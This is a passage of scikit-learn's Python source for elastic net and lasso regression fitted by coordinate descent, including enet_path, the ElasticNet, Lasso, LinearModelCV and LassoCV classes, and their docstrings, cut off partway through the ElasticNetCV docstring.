    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    coef_init : array, shape (n_features, ) | None
        The initial values of the coefficients.

    verbose : bool or integer
        Amount of verbosity.

    params : kwargs
        keyword arguments passed to the coordinate descent solver.

    return_n_iter : bool
        whether to return the number of iterations or not.

    positive : bool, default False
        If set to True, forces coefficients to be positive.

    check_input : bool, default True
        Skip input validation checks, including the Gram matrix when provided
        assuming there are handled by the caller when check_input=False.

    Returns
    -------
    alphas : array, shape (n_alphas,)
        The alphas along the path where models are computed.

    coefs : array, shape (n_features, n_alphas) or \
            (n_outputs, n_features, n_alphas)
        Coefficients along the path.

    dual_gaps : array, shape (n_alphas,)
        The dual gaps at the end of the optimization for each alpha.

    n_iters : array-like, shape (n_alphas,)
        The number of iterations taken by the coordinate descent optimizer to
        reach the specified tolerance for each alpha.
        (Is returned when ``return_n_iter`` is set to True).

    Notes
    -----
    See examples/linear_model/plot_lasso_coordinate_descent_path.py for an example.

    See also
    --------
    MultiTaskElasticNet
    MultiTaskElasticNetCV
    ElasticNet
    ElasticNetCV
    """
    # We expect X and y to be already float64 Fortran ordered when bypassing
    # checks
    if check_input:
        X = check_array(X, 'csc', dtype=np.float64, order='F', copy=copy_X)
        y = check_array(y, 'csc', dtype=np.float64, order='F', copy=False,
                        ensure_2d=False)
        if Xy is not None:
            # Xy should be a 1d contiguous array or a 2D C ordered array
            Xy = check_array(Xy, dtype=np.float64, order='C', copy=False,
                             ensure_2d=False)
    n_samples, n_features = X.shape

    multi_output = False
    if y.ndim != 1:
        multi_output = True
        _, n_outputs = y.shape

    # MultiTaskElasticNet does not support sparse matrices
    if not multi_output and sparse.isspmatrix(X):
        if 'X_offset' in params:
            # As sparse matrices are not actually centered we need this
            # to be passed to the CD solver.
            X_sparse_scaling = params['X_offset'] / params['X_scale']
        else:
            X_sparse_scaling = np.zeros(n_features)

    # X should be normalized and fit already if function is called
    # from ElasticNet.fit
    if check_input:
        X, y, X_offset, y_offset, X_scale, precompute, Xy = \
            _pre_fit(X, y, Xy, precompute, normalize=False,
                     fit_intercept=False, copy=False)
    if alphas is None:
        # No need to normalize of fit_intercept: it has been done
        # above
        alphas = _alpha_grid(X, y, Xy=Xy, l1_ratio=l1_ratio,
                             fit_intercept=False, eps=eps, n_alphas=n_alphas,
                             normalize=False, copy_X=False)
    else:
        alphas = np.sort(alphas)[::-1]  # make sure alphas are properly ordered

    n_alphas = len(alphas)
    tol = params.get('tol', 1e-4)
    max_iter = params.get('max_iter', 1000)
    dual_gaps = np.empty(n_alphas)
    n_iters = []

    rng = check_random_state(params.get('random_state', None))
    selection = params.get('selection', 'cyclic')
    if selection not in ['random', 'cyclic']:
        raise ValueError("selection should be either random or cyclic.")
    random = (selection == 'random')

    if not multi_output:
        coefs = np.empty((n_features, n_alphas), dtype=np.float64)
    else:
        coefs = np.empty((n_outputs, n_features, n_alphas),
                         dtype=np.float64)

    if coef_init is None:
        coef_ = np.asfortranarray(np.zeros(coefs.shape[:-1]))
    else:
        coef_ = np.asfortranarray(coef_init)

    for i, alpha in enumerate(alphas):
        l1_reg = alpha * l1_ratio * n_samples
        l2_reg = alpha * (1.0 - l1_ratio) * n_samples
        if not multi_output and sparse.isspmatrix(X):
            model = cd_fast.sparse_enet_coordinate_descent(
                coef_, l1_reg, l2_reg, X.data, X.indices,
                X.indptr, y, X_sparse_scaling,
                max_iter, tol, rng, random, positive)
        elif multi_output:
            model = cd_fast.enet_coordinate_descent_multi_task(
                coef_, l1_reg, l2_reg, X, y, max_iter, tol, rng, random)
        elif isinstance(precompute, np.ndarray):
            # We expect precompute to be already Fortran ordered when bypassing
            # checks
            if check_input:
                precompute = check_array(precompute, dtype=np.float64,
                                         order='C')
            model = cd_fast.enet_coordinate_descent_gram(
                coef_, l1_reg, l2_reg, precompute, Xy, y, max_iter,
                tol, rng, random, positive)
        elif precompute is False:
            model = cd_fast.enet_coordinate_descent(
                coef_, l1_reg, l2_reg, X, y, max_iter, tol, rng, random,
                positive)
        else:
            raise ValueError("Precompute should be one of True, False, "
                             "'auto' or array-like. Got %r" % precompute)
        coef_, dual_gap_, eps_, n_iter_ = model
        coefs[..., i] = coef_
        dual_gaps[i] = dual_gap_
        n_iters.append(n_iter_)
        if dual_gap_ > eps_:
            warnings.warn('Objective did not converge.' +
                          ' You might want' +
                          ' to increase the number of iterations',
                          ConvergenceWarning)

        if verbose:
            if verbose > 2:
                print(model)
            elif verbose > 1:
                print('Path: %03i out of %03i' % (i, n_alphas))
            else:
                sys.stderr.write('.')

    if return_n_iter:
        return alphas, coefs, dual_gaps, n_iters
    return alphas, coefs, dual_gaps


###############################################################################
# ElasticNet model


class ElasticNet(LinearModel, RegressorMixin):
    """Linear regression with combined L1 and L2 priors as regularizer.

    Minimizes the objective function::

            1 / (2 * n_samples) * ||y - Xw||^2_2
            + alpha * l1_ratio * ||w||_1
            + 0.5 * alpha * (1 - l1_ratio) * ||w||^2_2

    If you are interested in controlling the L1 and L2 penalty
    separately, keep in mind that this is equivalent to::

            a * L1 + b * L2

    where::

            alpha = a + b and l1_ratio = a / (a + b)

    The parameter l1_ratio corresponds to alpha in the glmnet R package while
    alpha corresponds to the lambda parameter in glmnet. Specifically, l1_ratio
    = 1 is the lasso penalty. Currently, l1_ratio <= 0.01 is not reliable,
    unless you supply your own sequence of alpha.

    Read more in the :ref:`User Guide <elastic_net>`.

    Parameters
    ----------
    alpha : float, optional
        Constant that multiplies the penalty terms. Defaults to 1.0.
        See the notes for the exact mathematical meaning of this
        parameter.``alpha = 0`` is equivalent to an ordinary least square, solved
        by the :class:`LinearRegression` object. For numerical
        reasons, using ``alpha = 0`` with the ``Lasso`` object is not advised.
        Given this, you should use the :class:`LinearRegression` object.

    l1_ratio : float
        The ElasticNet mixing parameter, with ``0 <= l1_ratio <= 1``. For
        ``l1_ratio = 0`` the penalty is an L2 penalty. ``For l1_ratio = 1`` it
        is an L1 penalty.  For ``0 < l1_ratio < 1``, the penalty is a
        combination of L1 and L2.

    fit_intercept : bool
        Whether the intercept should be estimated or not. If ``False``, the
        data is assumed to be already centered.

    normalize : boolean, optional, default False
        If ``True``, the regressors X will be normalized before regression.
        This parameter is ignored when ``fit_intercept`` is set to ``False``.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        :class:`preprocessing.StandardScaler` before calling ``fit`` on an estimator
        with ``normalize=False``.

    precompute : True | False | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. The Gram matrix can also be passed as argument.
        For sparse input this option is always ``True`` to preserve sparsity.

    max_iter : int, optional
        The maximum number of iterations

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    tol : float, optional
        The tolerance for the optimization: if the updates are
        smaller than ``tol``, the optimization code checks the
        dual gap for optimality and continues until it is smaller
        than ``tol``.

    warm_start : bool, optional
        When set to ``True``, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.

    positive : bool, optional
        When set to ``True``, forces the coefficients to be positive.

    selection : str, default 'cyclic'
        If set to 'random', a random coefficient is updated every iteration
        rather than looping over features sequentially by default. This
        (setting to 'random') often leads to significantly faster convergence
        especially when tol is higher than 1e-4.

    random_state : int, RandomState instance, or None (default)
        The seed of the pseudo random number generator that selects
        a random feature to update. Useful only when selection is set to
        'random'.

    Attributes
    ----------
    coef_ : array, shape (n_features,) | (n_targets, n_features)
        parameter vector (w in the cost function formula)

    sparse_coef_ : scipy.sparse matrix, shape (n_features, 1) | \
            (n_targets, n_features)
        ``sparse_coef_`` is a readonly property derived from ``coef_``

    intercept_ : float | array, shape (n_targets,)
        independent term in decision function.

    n_iter_ : array-like, shape (n_targets,)
        number of iterations run by the coordinate descent solver to reach
        the specified tolerance.

    Notes
    -----
    To avoid unnecessary memory duplication the X argument of the fit method
    should be directly passed as a Fortran-contiguous numpy array.

    See also
    --------
    SGDRegressor: implements elastic net regression with incremental training.
    SGDClassifier: implements logistic regression with elastic net penalty
        (``SGDClassifier(loss="log", penalty="elasticnet")``).
    """
    path = staticmethod(enet_path)

    def __init__(self, alpha=1.0, l1_ratio=0.5, fit_intercept=True,
                 normalize=False, precompute=False, max_iter=1000,
                 copy_X=True, tol=1e-4, warm_start=False, positive=False,
                 random_state=None, selection='cyclic'):
        self.alpha = alpha
        self.l1_ratio = l1_ratio
        self.coef_ = None
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.precompute = precompute
        self.max_iter = max_iter
        self.copy_X = copy_X
        self.tol = tol
        self.warm_start = warm_start
        self.positive = positive
        self.intercept_ = 0.0
        self.random_state = random_state
        self.selection = selection

    def fit(self, X, y, check_input=True):
        """Fit model with coordinate descent.

        Parameters
        -----------
        X : ndarray or scipy.sparse matrix, (n_samples, n_features)
            Data

        y : ndarray, shape (n_samples,) or (n_samples, n_targets)
            Target

        check_input : boolean, (default=True)
            Allow to bypass several input checking.
            Don't use this parameter unless you know what you do.

        Notes
        -----

        Coordinate descent is an algorithm that considers each column of
        data at a time hence it will automatically convert the X input
        as a Fortran-contiguous numpy array if necessary.

        To avoid memory re-allocation it is advised to allocate the
        initial data in memory directly using that format.
        """

        if self.alpha == 0:
            warnings.warn("With alpha=0, this algorithm does not converge "
                          "well. You are advised to use the LinearRegression "
                          "estimator", stacklevel=2)

        if isinstance(self.precompute, six.string_types):
            raise ValueError('precompute should be one of True, False or'
                             ' array-like. Got %r' % self.precompute)

        # We expect X and y to be already float64 Fortran ordered arrays
        # when bypassing checks
        if check_input:
            y = np.asarray(y, dtype=np.float64)
            X, y = check_X_y(X, y, accept_sparse='csc', dtype=np.float64,
                             order='F',
                             copy=self.copy_X and self.fit_intercept,
                             multi_output=True, y_numeric=True)
            y = check_array(y, dtype=np.float64, order='F', copy=False,
                            ensure_2d=False)
        X, y, X_offset, y_offset, X_scale, precompute, Xy = \
            _pre_fit(X, y, None, self.precompute, self.normalize,
                     self.fit_intercept, copy=False)
        if y.ndim == 1:
            y = y[:, np.newaxis]
        if Xy is not None and Xy.ndim == 1:
            Xy = Xy[:, np.newaxis]

        n_samples, n_features = X.shape
        n_targets = y.shape[1]

        if self.selection not in ['cyclic', 'random']:
            raise ValueError("selection should be either random or cyclic.")

        if not self.warm_start or self.coef_ is None:
            coef_ = np.zeros((n_targets, n_features), dtype=np.float64,
                             order='F')
        else:
            coef_ = self.coef_
            if coef_.ndim == 1:
                coef_ = coef_[np.newaxis, :]

        dual_gaps_ = np.zeros(n_targets, dtype=np.float64)
        self.n_iter_ = []

        for k in xrange(n_targets):
            if Xy is not None:
                this_Xy = Xy[:, k]
            else:
                this_Xy = None
            _, this_coef, this_dual_gap, this_iter = \
                self.path(X, y[:, k],
                          l1_ratio=self.l1_ratio, eps=None,
                          n_alphas=None, alphas=[self.alpha],
                          precompute=precompute, Xy=this_Xy,
                          fit_intercept=False, normalize=False, copy_X=True,
                          verbose=False, tol=self.tol, positive=self.positive,
                          X_offset=X_offset, X_scale=X_scale, return_n_iter=True,
                          coef_init=coef_[k], max_iter=self.max_iter,
                          random_state=self.random_state,
                          selection=self.selection,
                          check_input=False)
            coef_[k] = this_coef[:, 0]
            dual_gaps_[k] = this_dual_gap[0]
            self.n_iter_.append(this_iter[0])

        if n_targets == 1:
            self.n_iter_ = self.n_iter_[0]

        self.coef_, self.dual_gap_ = map(np.squeeze, [coef_, dual_gaps_])
        self._set_intercept(X_offset, y_offset, X_scale)

        # return self for chaining fit and predict calls
        return self

    @property
    def sparse_coef_(self):
        """ sparse representation of the fitted coef """
        return sparse.csr_matrix(self.coef_)

    @deprecated(" and will be removed in 0.19")
    def decision_function(self, X):
        """Decision function of the linear model

        Parameters
        ----------
        X : numpy array or scipy.sparse matrix of shape (n_samples, n_features)

        Returns
        -------
        T : array, shape (n_samples,)
            The predicted decision function
        """
        return self._decision_function(X)

    def _decision_function(self, X):
        """Decision function of the linear model

        Parameters
        ----------
        X : numpy array or scipy.sparse matrix of shape (n_samples, n_features)

        Returns
        -------
        T : array, shape (n_samples,)
            The predicted decision function
        """
        check_is_fitted(self, 'n_iter_')
        if sparse.isspmatrix(X):
            return safe_sparse_dot(X, self.coef_.T,
                                   dense_output=True) + self.intercept_
        else:
            return super(ElasticNet, self)._decision_function(X)


###############################################################################
# Lasso model

class Lasso(ElasticNet):
    """Linear Model trained with L1 prior as regularizer (aka the Lasso)

    The optimization objective for Lasso is::

        (1 / (2 * n_samples)) * ||y - Xw||^2_2 + alpha * ||w||_1

    Technically the Lasso model is optimizing the same objective function as
    the Elastic Net with ``l1_ratio=1.0`` (no L2 penalty).

    Read more in the :ref:`User Guide <lasso>`.

    Parameters
    ----------
    alpha : float, optional
        Constant that multiplies the L1 term. Defaults to 1.0.
        ``alpha = 0`` is equivalent to an ordinary least square, solved
        by the :class:`LinearRegression` object. For numerical
        reasons, using ``alpha = 0`` with the ``Lasso`` object is not advised.
        Given this, you should use the :class:`LinearRegression` object.

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If ``True``, the regressors X will be normalized before regression.
        This parameter is ignored when ``fit_intercept`` is set to ``False``.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        :class:`preprocessing.StandardScaler` before calling ``fit`` on an estimator
        with ``normalize=False``.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    precompute : True | False | array-like, default=False
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument. For sparse input
        this option is always ``True`` to preserve sparsity.

    max_iter : int, optional
        The maximum number of iterations

    tol : float, optional
        The tolerance for the optimization: if the updates are
        smaller than ``tol``, the optimization code checks the
        dual gap for optimality and continues until it is smaller
        than ``tol``.

    warm_start : bool, optional
        When set to True, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.

    positive : bool, optional
        When set to ``True``, forces the coefficients to be positive.

    selection : str, default 'cyclic'
        If set to 'random', a random coefficient is updated every iteration
        rather than looping over features sequentially by default. This
        (setting to 'random') often leads to significantly faster convergence
        especially when tol is higher than 1e-4.

    random_state : int, RandomState instance, or None (default)
        The seed of the pseudo random number generator that selects
        a random feature to update. Useful only when selection is set to
        'random'.

    Attributes
    ----------
    coef_ : array, shape (n_features,) | (n_targets, n_features)
        parameter vector (w in the cost function formula)

    sparse_coef_ : scipy.sparse matrix, shape (n_features, 1) | \
            (n_targets, n_features)
        ``sparse_coef_`` is a readonly property derived from ``coef_``

    intercept_ : float | array, shape (n_targets,)
        independent term in decision function.

    n_iter_ : int | array-like, shape (n_targets,)
        number of iterations run by the coordinate descent solver to reach
        the specified tolerance.

    Examples
    --------
    >>> from sklearn import linear_model
    >>> clf = linear_model.Lasso(alpha=0.1)
    >>> clf.fit([[0,0], [1, 1], [2, 2]], [0, 1, 2])
    Lasso(alpha=0.1, copy_X=True, fit_intercept=True, max_iter=1000,
       normalize=False, positive=False, precompute=False, random_state=None,
       selection='cyclic', tol=0.0001, warm_start=False)
    >>> print(clf.coef_)
    [ 0.85  0.  ]
    >>> print(clf.intercept_)
    0.15

    See also
    --------
    lars_path
    lasso_path
    LassoLars
    LassoCV
    LassoLarsCV
    sklearn.decomposition.sparse_encode

    Notes
    -----
    The algorithm used to fit the model is coordinate descent.

    To avoid unnecessary memory duplication the X argument of the fit method
    should be directly passed as a Fortran-contiguous numpy array.
    """
    path = staticmethod(enet_path)

    def __init__(self, alpha=1.0, fit_intercept=True, normalize=False,
                 precompute=False, copy_X=True, max_iter=1000,
                 tol=1e-4, warm_start=False, positive=False,
                 random_state=None, selection='cyclic'):
        super(Lasso, self).__init__(
            alpha=alpha, l1_ratio=1.0, fit_intercept=fit_intercept,
            normalize=normalize, precompute=precompute, copy_X=copy_X,
            max_iter=max_iter, tol=tol, warm_start=warm_start,
            positive=positive, random_state=random_state,
            selection=selection)


###############################################################################
# Functions for CV with paths functions

def _path_residuals(X, y, train, test, path, path_params, alphas=None,
                    l1_ratio=1, X_order=None, dtype=None):
    """Returns the MSE for the models computed by 'path'

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data.

    y : array-like, shape (n_samples,) or (n_samples, n_targets)
        Target values

    train : list of indices
        The indices of the train set

    test : list of indices
        The indices of the test set

    path : callable
        function returning a list of models on the path. See
        enet_path for an example of signature

    path_params : dictionary
        Parameters passed to the path function

    alphas : array-like, optional
        Array of float that is used for cross-validation. If not
        provided, computed using 'path'

    l1_ratio : float, optional
        float between 0 and 1 passed to ElasticNet (scaling between
        l1 and l2 penalties). For ``l1_ratio = 0`` the penalty is an
        L2 penalty. For ``l1_ratio = 1`` it is an L1 penalty. For ``0
        < l1_ratio < 1``, the penalty is a combination of L1 and L2

    X_order : {'F', 'C', or None}, optional
        The order of the arrays expected by the path function to
        avoid memory copies

    dtype : a numpy dtype or None
        The dtype of the arrays expected by the path function to
        avoid memory copies
    """
    X_train = X[train]
    y_train = y[train]
    X_test = X[test]
    y_test = y[test]
    fit_intercept = path_params['fit_intercept']
    normalize = path_params['normalize']

    if y.ndim == 1:
        precompute = path_params['precompute']
    else:
        # No Gram variant of multi-task exists right now.
        # Fall back to default enet_multitask
        precompute = False

    X_train, y_train, X_offset, y_offset, X_scale, precompute, Xy = \
        _pre_fit(X_train, y_train, None, precompute, normalize, fit_intercept,
                 copy=False)

    path_params = path_params.copy()
    path_params['Xy'] = Xy
    path_params['X_offset'] = X_offset
    path_params['X_scale'] = X_scale
    path_params['precompute'] = precompute
    path_params['copy_X'] = False
    path_params['alphas'] = alphas

    if 'l1_ratio' in path_params:
        path_params['l1_ratio'] = l1_ratio

    # Do the ordering and type casting here, as if it is done in the path,
    # X is copied and a reference is kept here
    X_train = check_array(X_train, 'csc', dtype=dtype, order=X_order)
    alphas, coefs, _ = path(X_train, y_train, **path_params)
    del X_train, y_train

    if y.ndim == 1:
        # Doing this so that it becomes coherent with multioutput.
        coefs = coefs[np.newaxis, :, :]
        y_offset = np.atleast_1d(y_offset)
        y_test = y_test[:, np.newaxis]

    if normalize:
        nonzeros = np.flatnonzero(X_scale)
        coefs[:, nonzeros] /= X_scale[nonzeros][:, np.newaxis]

    intercepts = y_offset[:, np.newaxis] - np.dot(X_offset, coefs)
    if sparse.issparse(X_test):
        n_order, n_features, n_alphas = coefs.shape
        # Work around for sparse matrices since coefs is a 3-D numpy array.
        coefs_feature_major = np.rollaxis(coefs, 1)
        feature_2d = np.reshape(coefs_feature_major, (n_features, -1))
        X_test_coefs = safe_sparse_dot(X_test, feature_2d)
        X_test_coefs = X_test_coefs.reshape(X_test.shape[0], n_order, -1)
    else:
        X_test_coefs = safe_sparse_dot(X_test, coefs)
    residues = X_test_coefs - y_test[:, :, np.newaxis]
    residues += intercepts
    this_mses = ((residues ** 2).mean(axis=0)).mean(axis=0)

    return this_mses


class LinearModelCV(six.with_metaclass(ABCMeta, LinearModel)):
    """Base class for iterative model fitting along a regularization path"""

    @abstractmethod
    def __init__(self, eps=1e-3, n_alphas=100, alphas=None, fit_intercept=True,
                 normalize=False, precompute='auto', max_iter=1000, tol=1e-4,
                 copy_X=True, cv=None, verbose=False, n_jobs=1,
                 positive=False, random_state=None, selection='cyclic'):
        self.eps = eps
        self.n_alphas = n_alphas
        self.alphas = alphas
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.precompute = precompute
        self.max_iter = max_iter
        self.tol = tol
        self.copy_X = copy_X
        self.cv = cv
        self.verbose = verbose
        self.n_jobs = n_jobs
        self.positive = positive
        self.random_state = random_state
        self.selection = selection

    def fit(self, X, y):
        """Fit linear model with coordinate descent

        Fit is on grid of alphas and best alpha estimated by cross-validation.

        Parameters
        ----------
        X : {array-like}, shape (n_samples, n_features)
            Training data. Pass directly as float64, Fortran-contiguous data
            to avoid unnecessary memory duplication. If y is mono-output,
            X can be sparse.

        y : array-like, shape (n_samples,) or (n_samples, n_targets)
            Target values
        """
        y = np.asarray(y, dtype=np.float64)
        if y.shape[0] == 0:
            raise ValueError("y has 0 samples: %r" % y)

        if hasattr(self, 'l1_ratio'):
            model_str = 'ElasticNet'
        else:
            model_str = 'Lasso'

        if isinstance(self, ElasticNetCV) or isinstance(self, LassoCV):
            if model_str == 'ElasticNet':
                model = ElasticNet()
            else:
                model = Lasso()
            if y.ndim > 1 and y.shape[1] > 1:
                raise ValueError("For multi-task outputs, use "
                                 "MultiTask%sCV" % (model_str))
            y = column_or_1d(y, warn=True)
        else:
            if sparse.isspmatrix(X):
                raise TypeError("X should be dense but a sparse matrix was"
                                "passed")
            elif y.ndim == 1:
                raise ValueError("For mono-task outputs, use "
                                 "%sCV" % (model_str))
            if model_str == 'ElasticNet':
                model = MultiTaskElasticNet()
            else:
                model = MultiTaskLasso()

        if self.selection not in ["random", "cyclic"]:
            raise ValueError("selection should be either random or cyclic.")

        # This makes sure that there is no duplication in memory.
        # Dealing right with copy_X is important in the following:
        # Multiple functions touch X and subsamples of X and can induce a
        # lot of duplication of memory
        copy_X = self.copy_X and self.fit_intercept

        if isinstance(X, np.ndarray) or sparse.isspmatrix(X):
            # Keep a reference to X
            reference_to_old_X = X
            # Let us not impose fortran ordering or float64 so far: it is
            # not useful for the cross-validation loop and will be done
            # by the model fitting itself
            X = check_array(X, 'csc', copy=False)
            if sparse.isspmatrix(X):
                if (hasattr(reference_to_old_X, "data") and
                   not np.may_share_memory(reference_to_old_X.data, X.data)):
                    # X is a sparse matrix and has been copied
                    copy_X = False
            elif not np.may_share_memory(reference_to_old_X, X):
                # X has been copied
                copy_X = False
            del reference_to_old_X
        else:
            X = check_array(X, 'csc', dtype=np.float64, order='F', copy=copy_X)
            copy_X = False

        if X.shape[0] != y.shape[0]:
            raise ValueError("X and y have inconsistent dimensions (%d != %d)"
                             % (X.shape[0], y.shape[0]))

        # All LinearModelCV parameters except 'cv' are acceptable
        path_params = self.get_params()
        if 'l1_ratio' in path_params:
            l1_ratios = np.atleast_1d(path_params['l1_ratio'])
            # For the first path, we need to set l1_ratio
            path_params['l1_ratio'] = l1_ratios[0]
        else:
            l1_ratios = [1, ]
        path_params.pop('cv', None)
        path_params.pop('n_jobs', None)

        alphas = self.alphas
        n_l1_ratio = len(l1_ratios)
        if alphas is None:
            alphas = []
            for l1_ratio in l1_ratios:
                alphas.append(_alpha_grid(
                    X, y, l1_ratio=l1_ratio,
                    fit_intercept=self.fit_intercept,
                    eps=self.eps, n_alphas=self.n_alphas,
                    normalize=self.normalize,
                    copy_X=self.copy_X))
        else:
            # Making sure alphas is properly ordered.
            alphas = np.tile(np.sort(alphas)[::-1], (n_l1_ratio, 1))
        # We want n_alphas to be the number of alphas used for each l1_ratio.
        n_alphas = len(alphas[0])
        path_params.update({'n_alphas': n_alphas})

        path_params['copy_X'] = copy_X
        # We are not computing in parallel, we can modify X
        # inplace in the folds
        if not (self.n_jobs == 1 or self.n_jobs is None):
            path_params['copy_X'] = False

        # init cross-validation generator
        cv = check_cv(self.cv)

        # Compute path for all folds and compute MSE to get the best alpha
        folds = list(cv.split(X))
        best_mse = np.inf

        # We do a double for loop folded in one, in order to be able to
        # iterate in parallel on l1_ratio and folds
        jobs = (delayed(_path_residuals)(X, y, train, test, self.path,
                                         path_params, alphas=this_alphas,
                                         l1_ratio=this_l1_ratio, X_order='F',
                                         dtype=np.float64)
                for this_l1_ratio, this_alphas in zip(l1_ratios, alphas)
                for train, test in folds)
        mse_paths = Parallel(n_jobs=self.n_jobs, verbose=self.verbose,
                             backend="threading")(jobs)
        mse_paths = np.reshape(mse_paths, (n_l1_ratio, len(folds), -1))
        mean_mse = np.mean(mse_paths, axis=1)
        self.mse_path_ = np.squeeze(np.rollaxis(mse_paths, 2, 1))
        for l1_ratio, l1_alphas, mse_alphas in zip(l1_ratios, alphas,
                                                   mean_mse):
            i_best_alpha = np.argmin(mse_alphas)
            this_best_mse = mse_alphas[i_best_alpha]
            if this_best_mse < best_mse:
                best_alpha = l1_alphas[i_best_alpha]
                best_l1_ratio = l1_ratio
                best_mse = this_best_mse

        self.l1_ratio_ = best_l1_ratio
        self.alpha_ = best_alpha
        if self.alphas is None:
            self.alphas_ = np.asarray(alphas)
            if n_l1_ratio == 1:
                self.alphas_ = self.alphas_[0]
        # Remove duplicate alphas in case alphas is provided.
        else:
            self.alphas_ = np.asarray(alphas[0])

        # Refit the model with the parameters selected
        common_params = dict((name, value)
                             for name, value in self.get_params().items()
                             if name in model.get_params())
        model.set_params(**common_params)
        model.alpha = best_alpha
        model.l1_ratio = best_l1_ratio
        model.copy_X = copy_X
        model.precompute = False
        model.fit(X, y)
        if not hasattr(self, 'l1_ratio'):
            del self.l1_ratio_
        self.coef_ = model.coef_
        self.intercept_ = model.intercept_
        self.dual_gap_ = model.dual_gap_
        self.n_iter_ = model.n_iter_
        return self


class LassoCV(LinearModelCV, RegressorMixin):
    """Lasso linear model with iterative fitting along a regularization path

    The best model is selected by cross-validation.

    The optimization objective for Lasso is::

        (1 / (2 * n_samples)) * ||y - Xw||^2_2 + alpha * ||w||_1

    Read more in the :ref:`User Guide <lasso>`.

    Parameters
    ----------
    eps : float, optional
        Length of the path. ``eps=1e-3`` means that
        ``alpha_min / alpha_max = 1e-3``.

    n_alphas : int, optional
        Number of alphas along the regularization path

    alphas : numpy array, optional
        List of alphas where to compute the models.
        If ``None`` alphas are set automatically

    precompute : True | False | 'auto' | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument.

    max_iter : int, optional
        The maximum number of iterations

    tol : float, optional
        The tolerance for the optimization: if the updates are
        smaller than ``tol``, the optimization code checks the
        dual gap for optimality and continues until it is smaller
        than ``tol``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    verbose : bool or integer
        Amount of verbosity.

    n_jobs : integer, optional
        Number of CPUs to use during the cross validation. If ``-1``, use
        all the CPUs.

    positive : bool, optional
        If positive, restrict regression coefficients to be positive

    selection : str, default 'cyclic'
        If set to 'random', a random coefficient is updated every iteration
        rather than looping over features sequentially by default. This
        (setting to 'random') often leads to significantly faster convergence
        especially when tol is higher than 1e-4.

    random_state : int, RandomState instance, or None (default)
        The seed of the pseudo random number generator that selects
        a random feature to update. Useful only when selection is set to
        'random'.

    fit_intercept : boolean, default True
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If ``True``, the regressors X will be normalized before regression.
        This parameter is ignored when ``fit_intercept`` is set to ``False``.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        :class:`preprocessing.StandardScaler` before calling ``fit`` on an estimator
        with ``normalize=False``.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    Attributes
    ----------
    alpha_ : float
        The amount of penalization chosen by cross validation

    coef_ : array, shape (n_features,) | (n_targets, n_features)
        parameter vector (w in the cost function formula)

    intercept_ : float | array, shape (n_targets,)
        independent term in decision function.

    mse_path_ : array, shape (n_alphas, n_folds)
        mean square error for the test set on each fold, varying alpha

    alphas_ : numpy array, shape (n_alphas,)
        The grid of alphas used for fitting

    dual_gap_ : ndarray, shape ()
        The dual gap at the end of the optimization for the optimal alpha
        (``alpha_``).

    n_iter_ : int
        number of iterations run by the coordinate descent solver to reach
        the specified tolerance for the optimal alpha.

    Notes
    -----
    See examples/linear_model/plot_lasso_model_selection.py
    for an example.

    To avoid unnecessary memory duplication the X argument of the fit method
    should be directly passed as a Fortran-contiguous numpy array.

    See also
    --------
    lars_path
    lasso_path
    LassoLars
    Lasso
    LassoLarsCV
    """
    path = staticmethod(lasso_path)

    def __init__(self, eps=1e-3, n_alphas=100, alphas=None, fit_intercept=True,
                 normalize=False, precompute='auto', max_iter=1000, tol=1e-4,
                 copy_X=True, cv=None, verbose=False, n_jobs=1,
                 positive=False, random_state=None, selection='cyclic'):
        super(LassoCV, self).__init__(
            eps=eps, n_alphas=n_alphas, alphas=alphas,
            fit_intercept=fit_intercept, normalize=normalize,
            precompute=precompute, max_iter=max_iter, tol=tol, copy_X=copy_X,
            cv=cv, verbose=verbose, n_jobs=n_jobs, positive=positive,
            random_state=random_state, selection=selection)


class ElasticNetCV(LinearModelCV, RegressorMixin):
    """Elastic Net model with iterative fitting along a regularization path

    The best model is selected by cross-validation.

    Read more in the :ref:`User Guide <elastic_net>`.

    Parameters
    ----------
    l1_ratio : float or array of floats, optional
        float between 0 and 1 passed to ElasticNet (scaling between
        l1 and l2 penalties). For ``l1_ratio = 0``
        the penalty is an L2 penalty. For ``l1_ratio = 1`` it is an L1 penalty.
        For ``0 < l1_ratio < 1``, the penalty is a combination of L1 and L2
        This parameter can be a list, in which case the different
        values are tested by cross-validation and the one giving the best
        prediction score is used. Note that a good choice of list of
        values for l1_ratio is often to put more values close to 1
        (i.e. Lasso) and less close to 0 (i.e. Ridge), as in ``[.1, .5, .7,
        .9, .95, .99, 1]``

    eps : float, optional
        Length of the path. ``eps=1e-3`` means that
        ``alpha_min / alpha_max = 1e-3``.

    n_alphas : int, optional
        Number of alphas along the regularization path, used for each l1_ratio.

